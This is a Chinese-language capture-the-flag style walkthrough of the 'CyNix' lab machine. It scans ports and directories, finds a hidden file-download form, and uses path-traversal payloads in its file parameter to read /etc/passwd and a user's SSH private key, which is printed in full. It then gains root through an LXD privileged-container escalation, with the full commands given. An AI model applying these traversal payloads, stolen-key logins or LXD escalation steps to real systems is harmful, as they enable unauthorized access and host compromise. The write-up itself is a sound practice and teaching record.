CyNix
一、主机发现和端口扫描
-
主机发现,靶机地址192.168.80.146
arp-scan -l
-
端口扫描,只开放了80和6688端口
nmap -A -p- -sV 192.168.80.146
二、信息收集
-
访问80端口
-
路径扫描
gobuster dir -u http://192.168.80.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
-
访问/lavalamp
-
扫描/lavalamp路径
gobuster dir -u http://192.168.80.146/lavalamp/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
-
访问head.php
三、漏洞发现
-
访问head.php页面,查看源码发现一段备注是的JS代码
function lhook(id) { var e = document.getElementById(id); if(e.style.display == 'block') e.style.display = 'none'; else e.style.display = 'block'; } lhook函数接受一个元素ID作为参数。它使用document.getElementById获取元素,并将其存储在变量e中。如果元素的display样式当前设置为'block',则函数将其更改为'none'。否则,它将显示样式更改为'block'。这在调用函数时切换元素的可见性
-
好像也没啥用,有返回到主页面,有个提交的表单,提交一下发现了新大陆
-
直接访问/lavalamp/canyoubypassme.php,发现和之前的一样,但是查看源码时发现,它的body标签有内容,而且里面存在猫腻,发现有个透明度被设置为0(opacity: 0.0)的table标签,随即将其修改为opacity: 1.0
-
发现是一个文件下载的功能,抓包看一下
四、漏洞利用
-
经过不断尝试,发现read参数不影响结果,但是file参数存在路径穿越和任意文件读取
/test/../../../../etc/passwd ;../../../etc/passwd AAAAAAAAAAAA../../../etc/passwd %252e%252e%252f../../../etc/passwd %250C../../../etc/passwd %25A0../../../etc/passwd
-
在文件中发现一个ford用户,尝试访问它的私钥文件
/test/../../../../home/ford/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2 LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG zo41f/YWjC5DurNjIchzl4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6 gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr 69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4 VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9 TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7 myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD 7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8 dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1 +QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP /kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg= -----END RSA PRIVATE KEY-----
-
复制私钥到kali,ssh访问
chmod 600 id_rsa ssh ford@192.168.80.146 -p 6688 -i id_rsa
五、权限提升
-
lxd提权,首先在kali上生成镜像
git clone https://githubfast.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpine
-
完成上面操作之后会在当前目录下生成一个tar.gz镜像文件,然后把这个文件发送到目标服务器上,需要把镜像挂载到lxd中,然后检查一下当前可用容器,配置完成之后进入容器,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash之后,得到一个容器的shell。这个容器中包含了目标主机的全部资源,拥有该靶机的root权限,成功通过LXD提权
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage lxc init myimage ignite -c security.privileged=true lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true lxc start ignite lxc exec ignite /bin/sh
-
结束